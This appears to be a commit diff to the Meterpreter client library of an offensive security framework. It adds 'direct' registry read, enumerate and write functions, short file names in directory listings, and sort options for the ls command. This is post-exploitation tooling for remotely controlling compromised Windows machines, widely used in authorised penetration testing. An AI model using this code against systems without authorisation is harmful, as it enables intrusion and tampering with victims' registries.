:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
:proxy_type => client.exploit_datastore['PayloadProxyType'],
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
end

View File

@ -61,7 +61,7 @@ class Dir < Rex::Post::Dir
response = client.send_request(request)
response.each(TLV_TYPE_FILE_NAME) { |file_name|
files << client.unicode_filter_encode( file_name.value )
files << client.unicode_filter_encode(file_name.value)
}
return files
@ -79,6 +79,7 @@ class Dir < Rex::Post::Dir
response = client.send_request(request)
fname = response.get_tlvs(TLV_TYPE_FILE_NAME)
fsname = response.get_tlvs(TLV_TYPE_FILE_SHORT_NAME)
fpath = response.get_tlvs(TLV_TYPE_FILE_PATH)
sbuf = response.get_tlvs(TLV_TYPE_STAT_BUF)
@ -96,8 +97,9 @@ class Dir < Rex::Post::Dir
files <<
{
'FileName' => client.unicode_filter_encode( file_name.value ),
'FilePath' => client.unicode_filter_encode( fpath[idx].value ),
'FileName' => client.unicode_filter_encode(file_name.value),
'FilePath' => client.unicode_filter_encode(fpath[idx].value),
'FileShortName' => fsname[idx] ? fsname[idx].value : nil,
'StatBuf' => st,
}
}
@ -145,7 +147,7 @@ class Dir < Rex::Post::Dir
response = client.send_request(request)
return client.unicode_filter_encode( response.get_tlv(TLV_TYPE_DIRECTORY_PATH).value )
return client.unicode_filter_encode(response.get_tlv(TLV_TYPE_DIRECTORY_PATH).value)
end
#
@ -195,8 +197,8 @@ class Dir < Rex::Post::Dir
def Dir.download(dst, src, recursive = false, force = true, &stat)
self.entries(src).each { |src_sub|
dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode( src_sub )
src_item = src + client.fs.file.separator + client.unicode_filter_encode( src_sub )
dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub)
src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub)
if (src_sub == '.' or src_sub == '..')
next
@ -240,8 +242,8 @@ class Dir < Rex::Post::Dir
#
def Dir.upload(dst, src, recursive = false, &stat)
::Dir.entries(src).each { |src_sub|
dst_item = dst + client.fs.file.separator + client.unicode_filter_encode( src_sub )
src_item = src + ::File::SEPARATOR + client.unicode_filter_encode( src_sub )
dst_item = dst + client.fs.file.separator + client.unicode_filter_encode(src_sub)
src_item = src + ::File::SEPARATOR + client.unicode_filter_encode(src_sub)
if (src_sub == '.' or src_sub == '..')
next

View File

@ -91,9 +91,9 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
if( response.result == 0 )
response.each( TLV_TYPE_SEARCH_RESULTS ) do | results |
files << {
'path' => client.unicode_filter_encode( results.get_tlv_value( TLV_TYPE_FILE_PATH ).chomp( '\\' ) ),
'name' => client.unicode_filter_encode( results.get_tlv_value( TLV_TYPE_FILE_NAME ) ),
'size' => results.get_tlv_value( TLV_TYPE_FILE_SIZE )
'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( '\\' )),
'name' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_NAME)),
'size' => results.get_tlv_value(TLV_TYPE_FILE_SIZE)
}
end
end
@ -138,7 +138,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
response = client.send_request(request)
return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_FILE_PATH) )
return client.unicode_filter_encode(response.get_tlv_value(TLV_TYPE_FILE_PATH))
end

View File

@ -2159,13 +2159,13 @@ class Def_kernel32
])
dll.add_function( 'InterlockedCompareExchange', 'DWORD',[
["PDWORD","Destination","inout"],
["PDWORD","Destination","in"],
["DWORD","ExChange","in"],
["DWORD","Comperand","in"],
])
dll.add_function( 'InterlockedCompareExchange64', 'LPVOID',[
["PBLOB","Destination","inout"],
["PBLOB","Destination","in"],
["PBLOB","ExChange","in"],
["PBLOB","Comperand","in"],
])
@ -2175,7 +2175,7 @@ class Def_kernel32
])
dll.add_function( 'InterlockedExchange', 'DWORD',[
["PDWORD","Target","inout"],
["PDWORD","Target","in"],
["DWORD","Value","in"],
])

View File

@ -89,7 +89,6 @@ class Registry
request.add_tlv(TLV_TYPE_TARGET_HOST, target_host)
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
response = client.send_request(request)
return Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RemoteRegistryKey.new(
@ -166,6 +165,24 @@ class Registry
return keys
end
def Registry.enum_key_direct(root_key, base_key, perm = KEY_READ)
request = Packet.create_request('stdapi_registry_enum_key_direct')
keys = []
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
request.add_tlv(TLV_TYPE_PERMISSION, perm)
response = client.send_request(request)
# Enumerate through all of the registry keys
response.each(TLV_TYPE_KEY_NAME) do |key_name|
keys << key_name.value
end
keys
end
##
#
# Registry value interaction
@ -195,10 +212,55 @@ class Registry
return true
end
def Registry.set_value_direct(root_key, base_key, name, type, data, perm = KEY_WRITE)
request = Packet.create_request('stdapi_registry_set_value_direct')
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
request.add_tlv(TLV_TYPE_PERMISSION, perm)
request.add_tlv(TLV_TYPE_VALUE_NAME, name)
request.add_tlv(TLV_TYPE_VALUE_TYPE, type)
if type == REG_SZ
data += "\x00"
elsif type == REG_DWORD
data = [data.to_i].pack('V')
end
request.add_tlv(TLV_TYPE_VALUE_DATA, data)
response = client.send_request(request)
true
end
#
# Queries the registry value supplied in name and returns an
# initialized RegistryValue instance if a match is found.
#
def Registry.query_value_direct(root_key, base_key, name, perm = KEY_READ)
request = Packet.create_request('stdapi_registry_query_value_direct')
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
request.add_tlv(TLV_TYPE_PERMISSION, perm)
request.add_tlv(TLV_TYPE_VALUE_NAME, name)
response = client.send_request(request)
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value
if type == REG_SZ
data = data[0..-2]
elsif type == REG_DWORD
data = data.unpack('N')[0]
end
Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new(
client, 0, name, type, data)
end
def Registry.query_value(hkey, name)
request = Packet.create_request('stdapi_registry_query_value')
@ -207,8 +269,8 @@ class Registry
response = client.send_request(request)
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value;
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value;
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value
if (type == REG_SZ)
data = data[0..-2]
@ -272,6 +334,24 @@ class Registry
return values
end
def Registry.enum_value_direct(root_key, base_key, perm = KEY_READ)
request = Packet.create_request('stdapi_registry_enum_value_direct')
values = []
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
request.add_tlv(TLV_TYPE_PERMISSION, perm)
response = client.send_request(request)
response.each(TLV_TYPE_VALUE_NAME) do |value_name|
values << Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new(
client, 0, value_name.value)
end
values
end
#
# Return the key value associated with the supplied string. This is useful
# for converting HKLM as a string into its actual integer representation.
@ -300,13 +380,20 @@ class Registry
# Returns the integer value associated with the supplied registry value
# type (like REG_SZ).
#
# @see https://msdn.microsoft.com/en-us/library/windows/desktop/ms724884(v=vs.85).aspx
# @param type [String] A Windows registry type constant name, e.g. 'REG_SZ'
# @return [Integer] one of the `REG_*` constants
def self.type2str(type)
return REG_SZ if (type == 'REG_SZ')
return REG_DWORD if (type == 'REG_DWORD')
return REG_BINARY if (type == 'REG_BINARY')
return REG_EXPAND_SZ if (type == 'REG_EXPAND_SZ')
return REG_NONE if (type == 'REG_NONE')
return nil
case type
when 'REG_BINARY' then REG_BINARY
when 'REG_DWORD' then REG_DWORD
when 'REG_EXPAND_SZ' then REG_EXPAND_SZ
when 'REG_MULTI_SZ' then REG_MULTI_SZ
when 'REG_NONE' then REG_NONE
when 'REG_SZ' then REG_SZ
else
nil
end
end
#

View File

@ -29,6 +29,7 @@ TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
TLV_TYPE_FILE_SHORT_NAME = TLV_META_TYPE_STRING | 1205
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220

View File

@ -178,7 +178,6 @@ module PacketDispatcher
# Sends a packet and waits for a timeout for the given time interval.
#
def send_request(packet, t = self.response_timeout)
if not t
send_packet(packet)
return nil

View File

@ -360,21 +360,42 @@ class Console::CommandDispatcher::Stdapi::Fs
#
# Lists files
#
# TODO: make this more useful
#
def cmd_ls(*args)
# Check sort column
sort = args.include?('-S') ? 'Size' : 'Name'
sort = args.include?('-t') ? 'Last modified' : sort
args.delete('-S')
args.delete('-t')
# Check whether to include the short name option
short = args.include?('-x')
args.delete('-x')
# Check sort order
order = args.include?('-r') ? :reverse : :forward
args.delete('-r')
# Check for cries of help
if args.length > 1 || args.any? { |a| a[0] == '-' }
print_line('Usage: ls [dir] [-x] [-S] [-t] [-r]')
print_line(' -x Show short file names')
print_line(' -S Sort by size')
print_line(' -t Sort by time modified')
print_line(' -r Reverse sort order')
return true
end
path = args[0] || client.fs.dir.getwd
columns = [ 'Mode', 'Size', 'Type', 'Last modified', 'Name' ]
columns.insert(4, 'Short Name') if short
tbl = Rex::Ui::Text::Table.new(
'Header' => "Listing: #{path}",
'SortIndex' => 4,
'Columns' =>
[
'Mode',
'Size',
'Type',
'Last modified',
'Name',
])
'SortIndex' => columns.index(sort),
'SortOrder' => order,
'Columns' => columns)
items = 0
stat = client.fs.file.stat(path)
@ -383,14 +404,16 @@ class Console::CommandDispatcher::Stdapi::Fs
# No need to sort as Table will do it for us
client.fs.dir.entries_with_info(path).each { |p|
tbl <<
[
row = [
p['StatBuf'] ? p['StatBuf'].prettymode : '',
p['StatBuf'] ? p['StatBuf'].size : '',
p['StatBuf'] ? p['StatBuf'].ftype[0,3] : '',
p['StatBuf'] ? p['StatBuf'].mtime : '',
p['FileName'] || 'unknown'
]
row.insert(4, p['FileShortName'] || '') if short
tbl << row
items += 1
}

File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More